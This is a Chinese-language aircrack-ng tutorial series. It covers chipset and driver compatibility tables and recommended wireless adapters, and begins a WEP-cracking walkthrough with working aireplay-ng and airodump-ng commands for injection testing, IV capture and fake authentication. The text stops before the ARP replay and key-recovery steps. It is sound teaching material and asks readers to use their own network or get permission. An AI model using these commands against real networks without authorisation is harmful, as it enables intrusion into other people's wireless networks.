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简介 

    本教程根据官方文档整理,主要介绍如何使用aircrack-ng. 

    本教程主要针对linux.虽然linux可能对于很多人来说并不熟悉,但是windows对aircrack-ng的支持实在是太差了.这主要是由于操作系统的特性和无线网卡的驱动问题造成的.所以最好还是在linux平台上来使用aircrack-ng. 

    教程大致分为以下三部分： 

        １．选择网卡的芯片 

        ２．选择以下方式中的一种来使用aircrack-ng 

        ３．了解aircrack-ng命令，学会使用aircrack-ng 

    以下分别介绍


选择网卡芯片 

    需要说明的是，并不是所有的芯片都被aircrack-ng支持．而且有时候，即便网卡被支持，也可能不是所有的功能都被支持． 

    所以后续会有专门的文章介绍，如何判断自己的无线网卡是否支持aircrack-ng，以及各种网卡驱动和兼容的情况．


选择一种方式来使用aircrack-ng 

    １．linux发行版 

    使用linux发行版的优势在于灵活性很强，可以使用最新版本的aircrack-ng和驱动，缺点是相关知识要求较高 

    ２．Live CD 

    使用Live CD的优势在于非常的便捷，但是相比来说可能aircrack-ng和驱动的版本都比较古老 

    ３．虚拟机 

    使用虚拟机的优点是要求相对较低，但有一个很大的缺点就是必须使用USB网卡


学习aircrack-ng 

    需要系统学习可参见 

    官方文档：http://www.aircrack-ng.org/doku.php?id=getting_started 

    官方论坛：http://forum.aircrack-ng.org/ 

    或参考本教程后续内容


判断网卡是否兼容

简介 

    这篇文章用来回答一个常见的问题，如何判断自己的网卡是否被aircrack-ng支持． 

    如果你正打算选购一个网卡，更简单的方式是参照aircrack-ng支持的网卡列表（后续文章）选购其中之一．如果你需要判断已有的网卡是否被aircrack-ng支持，可参照此文． 

    需要特别说明的是，上述网卡列表并不完整，如果你发现自己的网卡也可以支持aircrack-ng，却不在上述列表，可以将自己的网卡信息（制造商，型号，版本，芯片等）发布到aircrack-ng官方论坛上，以帮助他们更新列表． 

    下面开始正式介绍，主要分以下部分： 

    １．明确需求 

    ２．了解基本网卡知识 

    ３．了解自己网卡的芯片 

    ４．验证芯片的兼容性 

    ５．选择驱动和所需的补丁 

    ６．自己选择网卡


明确需求 

    首先必须明确自己是只想监听无线网络流量，还是既想监听又想注入数据包．需要说明一下，windows可以用来监听却不能注入，而且相较于linux，支持windows的网卡也更少一些． 

    所以你需要先考虑好： 

    １．你打算用哪个操作系统（linux，windows） 

    ２．选择什么样的硬件形式（PCI , PCMCIA , USB等） 

    ３．你需要什么功能（监听，注入）


了解基本的网卡知识 

    需要明确，使网卡发挥作用主要靠的是网卡里的芯片．一般来讲，有两种形式的网卡制造商． 

    第一种公司自己生产网卡包括芯片．这一类的例如Netgear, Ubiquiti , Linksys and D-Link等 

    第二种公司专门制造网卡，他们用的芯片由其他公司制造． 

    知道一款网卡里的芯片是什么公司制造的，对于我们判断网卡的兼容性来说非常重要．然而现实中，网卡制造商并不是很愿意公布他们的网卡用的是什么样的芯片．这就为我们的判断带来了麻烦．因为只有知道芯片制造商，我们才能知道网卡支持什么样的系统，需要什么样的驱动，以及网卡本身有什么限制．


了解自己网卡的芯片 

    如果你足够幸运，所使用的网卡在官方所给的支持列表里，那么通过查看该表，很容易就能知道自己网卡的各种信息．但如果里面并没有，那可以尝试以下方式来搜集信息了． 

    １．网上搜索你的网卡型号，了解详细信息 

    ２．在官方论坛搜索：http://forum.aircrack-ng.org/  

    ３．可以在windows下查看网卡驱动的名称，它常跟芯片有关 

    ４．登陆网卡制造商的主页查找信息 

    ５．对于一些网卡如PCI，也可以直接在网卡上找找 

    需要注意有时候相同型号的网卡里面的芯片不一定相同．如果你已经在使用linux了，那么以下命令可能帮助你了解自己的网卡信息． 

    １．”dmesg”命令 

    ２．”lspci”命令（对于PCI网卡） 

    ３．”lsusb”命令（对于USB网卡） 

    ４．”lsmod”命令（列出内核模块）


验证网卡的兼容性 

    了解了自己网卡的芯片以后，可以通过网卡列表查看，对于自己的网卡，aircrack-ng支持哪些功能。如果网卡不能满足自己的要求，可以考虑更换系统，或者更换网卡。如果自己更喜欢windows，那么则可以考虑使用Linux Live CD，这样可以兼得两者的优势．


决定网卡驱动和补丁 

    参考后续关于驱动的教程，来决定使用什么样的驱动和补丁。对于Linux来说，通常需要为驱动装一些补丁来获得网卡更多的功能，如监听和注入功能。本教程不会详细介绍如何为自己的系统打补丁，如果不想这么麻烦，也可以考虑安装BackTrack或者Kali Linux．


自己选择网卡 

    最后如果你想自己选择网卡，一样参照aircrack-ng支持列表．


支持网卡列表（上）

简介 

    首先请先阅读上一篇文章　aircrack-ng判断网卡是否兼容.这篇文章主要用来解决如下问题: 

    1．不同芯片对aircrack-ng的兼容性 

    2．每种芯片分别需要什么样的驱动 

    3．有哪些与aircrack-ng兼容非常好的无线网卡


aircrack-ng支持网卡列表 

    首先还是说明本表并不完全，如果自己网卡可用却不在此列表之内，可将网卡信息发布到aircrack-ng官方论坛以帮助更新列表．



    
    
        	 Chipset 
	 Supported by airodump for Windows 
	 Supported by airodump for Linux 
	 Supported by aireplay for Linux 
    

    
    
        	Atheros
	CardBus: YES

PCI: NO (see CommView)
	PCI, PCI-E: YES

Cardbus/PCMCIA/Expresscard:YES

USB: YES(b/g/n)
	 New mac80211 Atheros drivers have native injection and monitoring support
    

    
        	Atmel
	UNTESTED
	802.11b YES 

802.11g UNTESTED
	UNTESTED
    

    
        	Broadcom bcm43xx
	Old models only (BRCM driver)
	YES
	MOSTLY (Forum thread) No fragmentation attack support. Recommend to use b43, see below.
    

    
        	Broadcom b43
	NO
	Yes (1.0-beta2 and up, check here)
	Yes, check here
    

    
        	Centrino b
	NO
	PARTIAL

(ipw2100 driver doesn’t discard corrupted packets)
	NO
    

    
        	Centrino b/g
	NO
	YES
	NO (firmware drops most packets) ipw2200inject No fragmentation attack support.
    

    
        	Centrino a/b/g
	NO
	YES
	YES (use ipwraw or iwl3945)
    

    
        	Centrino a/g/n (4965)
	NO
	YES
	MOSTLY, see iwlagn. Fakeauth is currently broken.
    

    
        	Centrino a/g/n (5xxx)
	NO
	YES
	YES
    

    
        	Cisco Aironet
	YES?
	Yes, but very problematic
	NO (firmware issue)
    

    
        	Hermes I
	YES
	Only with airodump not airodump-ng and only with a specific firmware
	NO (firmware corrupts the MAC header)
    

    
        	NdisWrapper
	N/A
	Never
	Never
    

    
        	Prism2/3
	NO
	old kernels only ⇐2.6.20
	YES (PCI and CardBus only: driver patching required) NOTE: Prism2/3 does not support shared key authentication and the fragmentation attack.  There is a critical bug and this chipset is not currently recommended.  It may even affect other kernel versions. Also you must use old kernel ⇐2.6.20

USB: Only old kernel ⇐2.6.20 with linux-wlan-ng
    

    
        	PrismGT FullMAC
	YES
	YES
	YES (driver patching recommended)
    

    
        	PrismGT SoftMAC
	YES
	YES (requires p54 >=2.6.30)
	YES (requires p54 >=2.6.30)
    

    
        	Ralink
	NO
	YES
	YES, see rt2x00, rt2500, rt2570, rt61 and rt73.  Also see Ralink chipset comments later on this pager for important concerns.
    

    
        	RTL8180
	YES
	YES
	UNSTABLE (driver patching required)
    

    
        	RTL8185
	NO
	YES
	YES (mac80211 driver untested)
    

    
        	RTL8187B/RTL8197
	NO
	YES
	YES (2.6.27+, use the mac80211 driver with this patch)
    

    
        	RTL8187L
	UNTESTED
	YES (driver patching required to view power levels)
	YES (driver patching recommended for injection and required to view power levels)
    

    
        	TI

(ACX100/ACX111)
	NO
	YES
	YES (driver patching required) No fragmentation attack support. Please re-test fragmentation with the mac80211 driver + mac80211 frag patch!
    

    
        	ZyDAS 1201
	NO
	YES
	Partially but NOT RECOMMENDED (See patch for details)
    

    
        	ZyDAS 1211(B) softmac
	NO
	YES
	Partially but NOT RECOMMENDED (See patch for details). Atheros has acquired Zydas and renamed this chipset to AR5007UG.
    

    
        	ZyDAS 1211(B) mac80211
	NO
	YES (patching recommended)
	YES, but no fragmentation attack support yet.
    

    
        	Other mac80211 (ADMtek…)
	NO
	UNTESTED, but likely YES
	UNTESTED (YES for drivers with AP mode support)
    

    
        	Other legacy (Marvel…)
	NO
	UNKNOWN
	NO
    








选择驱动 

    一旦决定好芯片，下一步就是选择驱动了．驱动起到连接操作系统和硬件的作用，并且对于不同的操作系统来说使用的驱动也不同．下表是不同芯片在window和linux上所需的驱动．



    
    
        	 Chipset 
	 Windows driver (monitor mode) 
	 Linux Drivers 
	 Note 
    

    
    
        	Atheros
	 v4.2 or v3.0.1.12 or AR5000 

(see this page for more information)
	Madwifi, ath5k ath9k, ath9k_htc and ar9170/carl9170 
	Atheros and Zydas USB 802.11n cards. The rest of atheros chipsets excluding the ones mentioned and MIMO series as well as fullMAC (these are rare, only found in embedded devices) should be supported.
    

    
        	Atheros
	 
	ath6kl
	Third generation Atheros driver for mobile devices (AR6003)

Currently does not support  injection
    

    
        	Atmel
	 
	Atmel AT76c503a
	AT76C503/505A based USB WLAN adapters
    

    
        	Atmel
	 
	Atmel AT76 USB
	AT76C503/505A based USB WLAN adapters, mac80211 driver
    

    
        	Broadcom
	Broadcom peek driver
	bcm43xx
	Windows: Old models only

Linux: always use latest -rc kernel
    

    
        	Broadcom with b43 driver
	 
	 b43 
	b43 - An excellent and fully supported driver
    

    
        	Broadcom 802.11n
	 
	 brcm80211 
	FOSS wireless driver for BCM4313, BCM43224, BCM43225 chipsets

Currently does not support monitor/injection
    

    
        	Centrino b
	 
	ipw2100
	802.11b only
    

    
        	Centrino b/g
	 
	ipw2200
	See IPW2200 and RF-Mon.  See more recent update info here See this thread for how to do injection.
    

    
        	Centrino a/b/g
	 
	 ipw2915

ipw3945

iwl3945 
	ipw2915 uses ipw2200 driver (See this thread for alpha injection support.)  For ipw3945 you can use the ipwraw-ng driver, iwl3945 recommended on >=2.6.26, or see Live Distros for WifiWay which includes patches for injection.
    

    
        	Centrino a/g/n
	 
	 iwlwifi
	 4965AGN under development.
    

    
        	Cisco/Aironet
	 Cisco PCX500/PCX504 peek driver 
	 airo-linux 
	4500/4800/340/350 series, Firmware 4.25.30 recommended (see this for more info)
    

    
        	Hermes I
	 Agere peek driver 
	 Orinoco

Orinoco Monitor Mode Patch 
	802.11b only and only with specific firmware (7.52)
    

    
        	Ndiswrapper
	N/A
	 ndiswrapper 
	Using windows drivers in linux. It will never work with aircrack-ng
    

    
        	cx3110x 

(Nokia 770/800)
	 
	cx3110x
	Supports monitor mode (flaky) but not injection
    

    
        	prism2/2.5
	LinkFerret or aerosol
	 HostAP

wlan-ng 
	Use STA firmware >=1.5.6 (see Prism2 flashing)802.11b only, and only on old kernels ⇐2.6.20. See this forum entry regarding windows support.
    

    
        	prismGT
	 PrismGT by 500brabus 
	 prism54 
	only FullMAC cards works with aircrack on Linux. Deprecated driver, refer to p54.
    

    
        	prismGT (alternative) 
	 
	 p54 
	mac80211 based, requires >=2.6.30 for better softMAC support. Also supports PrismGT FullMAC and PrismGT USB based chipsets.
    

    
        	Ralink
	 
	 rt2x00 or

RaLink RT2570USB Enhanced Driver or

RaLink RT73 USB Enhanced Driver
	The entire rt2x00 family: rt2400pci, rt2500pci, rt2500usb, rt2800pci and rt2800usb can inject and monitor. Including PCI and USB chips on b/g/n.
    

    
        	Realtek 8180
	 Realtek peek driver 
	 rtl8180-sa2400 
	802.11b only
    

    
        	Realtek 8187L
	 
	 r8187

rtl8187
	 
    

    
        	Realtek 8187B
	 
	 rtl8187 (2.6.27+) or r8187b (beta)
	 
    

    
        	TI
	  
	 ACX100/ACX111/ACX100USB 
	 
    

    
        	ZyDAS 1201
	 
	 zd1201 
	802.11b only
    

    
        	ZyDAS 1211
	 
	 zd1211rw plus patch 
	 Excellent USB chip with reliable aircrack-ng and general support 
    





支持网卡列表(下)

几种常见的网卡介绍


Atheros


Atheros芯片是现今支持Linux和windows都比较好的芯片之一 . 最新更新的madwifi-ng补丁使得它在managed和monitor模式下都能进行802.11原始包的注入 . madwifi-ng可驱动atheros芯片, 但是该驱动不支持任何USB网卡 . atheroshi会使用zydas的USB芯片, 该芯片现被命名为AR5007UG . 虽然AR5007UG芯片不支持madwifi-ng驱动, 但仍然是一款值得推荐的芯片, 因为既便宜对aircrack-ng的支持又稳定 . 


对于内核2.6.26及以后的版本，新出了一中ath5k驱动. 相比于前面提到的madwifi-ng, 它不需要HAL. 现在流行的大多数linux发行版已经内置了这种驱动. 类似的还有ath9k. 


Broadcom


Broadcom的”AirForce One”系列芯片在支持linux上和Atheros不相上下 . 新的b43/b43legacy驱动在2.6.24及以上的版本中, 通过补丁可以达到和Atheros一样的注入速度 . 同样, Broadcom网卡在其他攻击方面也做的很出色, 其中包括fragmentation攻击. 目前该驱动的开发版实际上可以达到比Atheros更快的速度(>700PPS). 然而 , 同样不支持windows. 


像Madwifi一样, b43对Broadcom的USB网卡也没有支持 . 对这些网卡, 有一个单独的驱动叫 rndis_wlan, 但它不支持monitor模式 . 使用Broadcom linux_sta 驱动 ( 也被称作wl ) 的读者还需注意, 这种驱动不支持monitor和injection模式 . ( 可参见http://seclists.org/fulldisclosure/2008/Nov/506 ) .


Intel


Intel无线网卡也是笔记本中比较常见的网卡之一 . 这些网卡一般都内置有Linux的支持 , 但是除了一些老版本的网卡如ipw2200外通常都支持得不是特别好 . 3945的用户推荐使用iwl3945, 因为老的ipw3945驱动不支持monitor和injection模式 . 4965的用户可以考虑使用iwlagn . 


Intersil/Conexant


Intersil芯片在以前因无线识别而出名 . 该公司的源代码设计是公开的, 所以在被Conexant收购之前, Intersil对Linux支持更新非常快 . 传统的芯片即Intersil Prism 2, Prism 2.5 和 Prism 3因为使用者不断减少而渐入窘境 . 对大多数PCI/PCMCIA网卡, prismGT可使用hostap驱动, USB则可使用wlan-ng. 但是这些驱动有以下两个缺点:



	它们经常出问题 , 例如wlan-ng就不支持iwconfig命令, 并且切换模式还需要自己的工具 . 

	注入功能的补丁只在一些比较老的内核中有用, 到目前为止2.6.20及以上的内核不能很好地注入 . 所以如果你要使用它, 就必须使用比较老的内核版本 .




Ralink


Ralink的吧b/g类型的芯片做的很好, 并且一致很配合开源社区开发GPL驱动 . 在Linux下, RT2500的PCI和USB网卡都全面支持包注入, 另外USB RT2570也支持的很好 . 然而 , 这些网卡工作时间似乎很短, 经常会出现一会儿就停止工作的现象 . 此外, RT2570驱动目前并不能在大端系统上使用, 所以选择Ralink之前要慎重考虑 . Ralink芯片中也有一款例外的产品, 那就是RT73. 对RT73, 有很好地驱动来支持高速率的注入 , 所以使用RT73芯片的网卡还是值得推荐的 . 


Realtek RTL8187L


内置Realtek RTL8187L芯片的网卡非常推荐 . 该芯片驱动的补丁一直在不断地提升芯片对Aircrack-ng的支持 .  Alfa AWUS036H是一款含此芯片的非常受欢迎的网卡 , 对Aircrack-ng的支持很好 . 


一些支持Aircrack-ng的芯片


PCMCIA/Cardbus/Express 网卡:



    
    
        	Card name
	Type
	Chipset
	Antenna
	Windows

support
	Linux

support
	Notes
    

    
    
        	Airlink AWLC4030
	CardBus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	Belkin F5D7010ED
	Cardbus
	Atheros
	Internal
	Not tested
	Yes
	Product manual
    

    
        	Belkin F5D8071
	ExpressCard
	Atheros
	Internal
	Not tested
	Yes
	Product page
    

    
        	D-Link DWA-643
	ExpressCard
	Atheros
	Internal
	Unconfirmed

but likely
	Yes
	Draft N
    

    
        	D-Link DWL-650
	PCMCIA
	Prism 2.5
	Internal
	airodump-ng
	Yes
	See critical

chipset notes

above
    

    
        	D-Link DWL-G630 C2 v3.01
	CardBus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	D-Link DWL-G630 E1
	CardBus
	Ralink
	Internal
	airodump-ng
	Yes
	 
    

    
        	D-Link DWL-G650

C3, C4, B5
	CardBus
	Atheros
	Internal or

RP-SMA
	airodump-ng
	Yes
	 
    

    
        	Linksys WPC55AG

v1.2
	Cardbus
	Atheros
	Internal
	Yes
	Yes
	 
    

    
        	MSI CB54G2
	CardBus
	Ralink
	Internal
	No
	Yes
	 
    

    
        	Netgear WAG511
	CardBus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	Netgear WG511T
	CardBus
	Atheros
	Internal
	airodump-ng
	Yes
	See note 1
    

    
        	Netgear WG511U
	CardBus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	Proxim 8470-WD
	CardBus
	Atheros
	MC + Int.
	airodump-ng
	Yes
	 
    

    
        	Senao NL-2511

CD PLUS EXT
	PCMCIA
	Prism 2.5
	MMCX
	No
	Yes
	See critical

chipset notes

above
    

    
        	SMC SMCWCBT-G
	Cardbus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	TP-Link TL-WN610G
	Cardbus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	TrendNet TEW-441PC
	Cardbus
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	Ubiquiti SRC
	CardBus
	Atheros
	MMCX
	airodump-ng
	Yes
	 
    







PCI/MiniPCI/MiniPCI Express 网卡:



    
    
        	Card name
	Type
	Chipset
	Antenna
	Windows

support
	Linux

support
	Notes
    

    
    
        	Airlive WT-2000PCI
	PCI
	RT61
	RP-SMA
	No
	Yes
	 
    

    
        	ASUS WL-138G V2
	PCI
	Broadcom
	RP-SMA
	No
	Yes
	See Note 1 and 2
    

    
        	ASUS WL-138gE
	PCI
	Broadcom
	RP-SMA
	No
	Yes
	See Note 1 and 2
    

    
        	Broadcom BCM94311MCG
	Mini-PCI Express
	Broadcom
	U.fl
	No
	Yes
	 
    

    
        	Compex WLM54G
	Mini-PCI
	Atheros
	Internal
	airodump-ng
	Yes
	 
    

    
        	Canyon CN-WF511
	PCI
	Ralink RT61
	RP-SMA
	No
	Yes
	 
    

    
        	D-Link DWL-G550
	PCI
	Atheros
	RP-SMA
	airodump-ng
	Yes
	 
    

    
        	D-Link DWA-510
	PCI
	Ralink RT61
	RP-SMA
	No
	Yes
	 
    

    
        	Linksys WMP54G v4
	PCI
	Ralink
	RP-SMA
	No
	Yes
	 
    

    
        	Linksys WMP54G-UK v4.1
	PCI
	Ralink RT61
	RP-SMA
	No
	Yes
	 
    

    
        	Linksys WMP110 RangePlus
	PCI
	Atheros
	RP-SMA
	No
	Yes
	 
    

    
        	MSI PC54G2
	PCI
	Ralink
	RP-SMA
	No
	Yes
	 
    

    
        	Netgear WG311T
	PCI
	Atheros
	RP-SMA
	airodump-ng
	Yes
	See Note 3
    

    
        	Netgear WPN311
	PCI
	Atheros
	RP-SMA
	airodump-ng
	Yes
	 
    

    
        	Thinkpad 11a/b/g
	Mini-PCI

Express
	Atheros
	U.fl
	Unconfirmed

but likely
	Yes
	See Note 4
    

    
        	Ubiquiti SR71-E
	PC Express
	Atheros
	MMCX
	airodump-ng
	Yes
	Also SR71-E/X/C work
    

    
        	TP-Link TL-WN650G
	PCI
	Atheros
	Soldered-in
	airodump-ng
	Yes
	See Note 5
    

    
        	TP-Link TL-WN651G
	PCI
	Atheros
	RP-SMA
	airodump-ng
	Yes
	 
    

    
        	Trendnet

TEW-443PI A1 1R
	PCI
	Atheros
	RP-SMA
	airodump-ng
	Yes
	 
    









USB网卡:



    
    
        	Card name
	Chipset
	Antenna
	Windows

support
	Linux

support
	Notes
    

    
    
        	Asus

WL-167g  v2 
	Ralink RT73
	Internal
	No
	Yes
	 
    

    
        	Airlink AWLL3026
	Zydas zd1211
	Internal
	No
	Yes
	USB info: 0ace:1211 

See Notes 1 and 4.
    

    
        	Alfa AWUS036E
	RTL8187L
	RP-SMA
	No
	Yes
	80mW
    

    
        	Alfa AWUS036H
	RTL8187L
	RP-SMA
	No
	Yes
	Click here for a test of this adapter
    

    
        	Alfa AWUS036S
	Ralink rt73
	RP-SMA
	No
	Yes
	Click here for a test of this adapter
    

    
        	Alfa AWUS050NH
	Ralink RT2770F
	RP-SMA
	No
	Yes
	 
    

    
        	Digitus DN-7003GS
	RTL8187L
	Internal
	No
	Yes
	USB info: 0bda:8187 Realtek Semiconductor Corp.
    

    
        	D-Link DWL-G122 B1
	Ralink RT2570
	Internal
	No
	Yes
	 
    

    
        	D-Link DWL-G122 C1
	Ralink RT73
	Internal
	No
	Yes
	 
    

    
        	D-Link WUA-1340
	Ralink RT73
	Internal
	No
	Yes
	 
    

    
        	Edimax EW-7318USg
	Ralink rt73
	RP-SMA
	No
	Yes
	See

Note 2
    

    
        	Hawking HWUG1
	Ralink rt73
	RP-SMA
	No
	Yes
	 
    

    
        	Linksys WUSB54G v4
	Ralink rt2570
	Internal or

RP-SMA
	No
	Yes
	 
    

    
        	Linksys WUSB54GC v1
	Ralink RT73
	Internal
	No
	Yes
	See

Note 5 
    

    
        	Linksys WUSB54GC v2
	RTL8187B
	Internal
	No
	Yes
	See

Note 5 
    

    
        	Netgear WG111 v1
	PrismGT SoftMAC
	Internal
	airodump-ng
	Untested
	See note 3. Needs a recent GIT kernel from the wireless-testing branch.
    

    
        	Netgear WG111 v2
	RTL8187L
	Internal
	No
	Yes
	See note 3
    

    
        	Netgear WG111 v3
	RTL8187B
	Internal
	No
	Yes
	See note 3
    

    
        	Netgear WNDA3100 v1
	Atheros 9170
	Internal
	No
	Yes
	See Note 6
    

    
        	TP-Link

TL-WN321G
	Ralink RT73
	Internal
	No
	Yes
	Manufacturer page
    

    
        	TP-Link

TL-WN321G v4
	Ralink RT2070
	Internal
	No
	Yes
	Supported by rt2800usb
    

    
        	Trendnet

TEW-429UB C1
	Zydas zd1211b
	Internal
	No
	Yes
	USB info: 157e:300d 

 
    

    
        	ZyXEL AG-225H
	Zydas zd1211
	Internal
	No
	Limited
	See Note 4
    

    
        	ZyXEL G-202
	Zydas zd1211b
	Internal
	No
	Limited
	See Note 4
    





简单的WEP加密破解(上)

简介


这个指导教程用来说明如何使用Aircrack-ng来破解WEP加密的网络. 目的在于帮助读者熟悉基本概念和培养基本的破解技巧. 当然前提是你已经有了可以用于注入的网线网卡. 教程的核心是利用aireplay-ng伪装一个ARP包去产生IVs, 然后aircrack-ng用这个IVs去破解WEP密码. 关于ARP的更多内容, 请参见后续文章.


对于新手来说, 可以先参考这篇文章. 尽管这篇文章也没有覆盖所有的步骤, 但提供了更多详细的例子帮助新手理解破解WEP的过程. 如果需要安装Aircrack-ng, 参考这里, 需要安装网卡驱动, 参考这里. 推荐读者使用自己的无线接入点来熟悉这些过程和技巧. 如果自己并没有可用的网络, 一定要在经过别人允许的情况下, 合法地使用这些Aircrack-ng测试.   


前提



	你正在使用的驱动支持注入, 参考这篇文章来测试自己的网卡是否可以用来进行注入. 


	需要保证你离无线接入点比较近, 从而可以接受和发送接入点数据包. 需要知道的是, 能从接入点接收到数据包并不意味着你能够发送数据包到接入点. 无线网卡的强度通常是比接入点要小的. 通过这篇文章介绍的测试来验证是否可以同接入点之间进行数据交换. 


	至少有一个有线或者无线客户端连接到网络上, 并且他们都要是活动状态的. 原因是本篇文章要依靠ARP问答包来破解, 所以没有活动状态的客户端, 破解也就无从也谈起.


	你正在使用Aircrack-ng0.9及以上的版本. 如果你用的版本不同, 那一些操作就有可能不同. 





保证自己满足以上所有的前提, 否则一下的一些操作可能不能进行. 在下面的例子中, 你需要将”ath0”改变为你无线网卡的接口名. 


本教程用到



	MAC地址 : 00:0F:B5:88:AC:82

	BSSID( 无线接入点地址 ) : 00:14:6C:7E:40:80

	ESSID( 无线网络名称 ) : teddy

	接入点频道 : 9

	无线接口 : ath0 

你应该在你所使用的网络上搜集同样的信息为下面的操作做准备




破解步骤



	简介 

在破解WEP之前, 你需要搜集大量的IVs(初始向量). 正常的网络并不会一下子产生处这么多的IVs. 理论上, 如果足够耐心的话, 你可以通过监听和保存来搜集足够多的IVs以破解WEP. 当然, 大家可能都不愿意这样等, 所以这里我们采用一种叫做”注入”的技巧来加速这个过程. 注入会使得接入点发送大量的数据包, 这就可以使我们在短时间内获得大量的IVs. 一旦我们捕获道足够的IVs之后, 就可以来破解WEP了.以下是一些基本步骤: 

    a.在特定的AP频道开启监控模式 

    b.测试网卡对接入点的注入能力 

    c.使用aireplay-ng伪装同接入点建立联系 

    d.使用airodump-ng收集IVs 

    e.使用aireplay-ng的ARP模式注入数据包 

    f.用aircrack-ng破解IVs获得密码 


        


	在特定的AP频道开启监控模式 

这一步的目的是将网卡开启成monitor模式. monitor模式可以使网卡监听任何一个数据包. 正常情况下, 我们只能接收到发送给我们的数据包, 但是通过monitor模式, 我们就可以从所有的数据包中选择一些用来后续的注入.


首先停止掉ath0:


 airmon-ng stop ath0   


会出现:


 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


输入”iwconfig”确保没有其他的athX接口了. 会出现:


 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.


如果还有其它的athX借口, 需要停掉它, 然后再用”iwconfig”来验证. 下一步, 输入如下命令在频道9上开启monitor模式:


 airmon-ng start wifi0 9


你需要根据自己的网络信息来替换上述的频道9. 为了下述步骤的顺利进行, 必须保证自己的网卡锁定在接入点频道上. 在下面的命令中, 我们使用”wifi0”来代替”ath0”接口. 这是因为本教程网卡使用的是madwifi-ng驱动. 对于其他的驱动, 请使用无线接口名称如”wlan0”或者”rausb0”.会显示:


 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


可以发现”ath0”已经进入了monitor模式. 现在验证一下各个接口都被设置好, 输入”iwconfig”, 显示:


 lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0


再上面的窗口中可以发现, ath0-已经进入了monitor模式. 频率2.452GHz, 频道9, Acess Point是你无线网卡的物理地址. 注意:只有madwifi-ng驱动会显示网卡的物理地址. 所以如果窗口上并没有显示物理地址信息也是正常的.上述信息一定要验证好, 否则下述的步骤可能不能进行.





简单的WEP加密破解(下)

2.测试网卡的注入能力


这一步的目的是确保无线网卡在接入点的范围内, 以便可以进行数据包的注入. 输入命令:




aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0  


其中



	-9表示注入测试

	-e teddy是无线网络的名称

	-a 00:14:6C:7E:40:80是接入点的MAC地址

	ath0是无线接口的名称




会出现:




09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35  Trying broadcast probe requests...
09:23:35  Injection is working!
09:23:37  Found 1 AP 

09:23:37  Trying directed probe requests...
09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%


最后一行很重要, 理想时它应该达到100%或者一个比较高的百分比. 如果这个百分比很低的话, 就说明我们离接入点过远或者过近. 如果它是0的话, 就说明注入并没有进行, 我们就需要使用不同的驱动或者为驱动找到相应的补丁. 参见注入测试.


3.使用airodump-ng收集IVs  


这一步的目的是捕捉产生的IVs, 打开另一个控制台, 输入:




airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0


其中:



	-c是无线网络的频道

	–bssid 00:14:6C:7E:40:80是无线接入点的MAC地址. 

	-w后跟文件名的前缀, 该文件会包含IVs

	ath0是接口名称




注入进行一会以后, 屏幕上会显示:




CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

BSSID              STATION            PWR  Lost  Packets  Probes                                             

00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  


4.使用aireplay-ng伪装同接入点建立联系 


为了使接入点能接收到数据包, 源MAC地址必须和接入点先建立联系. 如果你进行注入时使用的MAC地址没有和接入点建立联系, 那么新的IVs就不能产生, 因为接入点会忽略所有注入的数据包. 这是注入失败最大可能的原因. 要建立联系要么通过已经有联系的客户端, 要么使用伪装的认证.通过伪装建立联系, 输入:


aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


其中:



	-1表示伪装

	0以秒计时

	-e teddy是无线网络名称

	-a 00:14:6C:7E:40:80 是接入点的MAC地址

	-h 00:0F:B5:88:AC:82 是网卡的MAC地址

	ath0 是无线接口名称




成功后这样显示:




18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)


或者也有另一种方式:




aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


其中: 

 7. 6000 -每6000秒一次重新认证. 这么长的周期可以使得数据包能确保被发送 

 8. -o 1 - 每次只发送一个数据包 

 9. -q 10 - 每10秒发送一次保持活动的数据包


成功后像这样:




18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
and so on.


以下是一个可能的失败的例子:




8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request


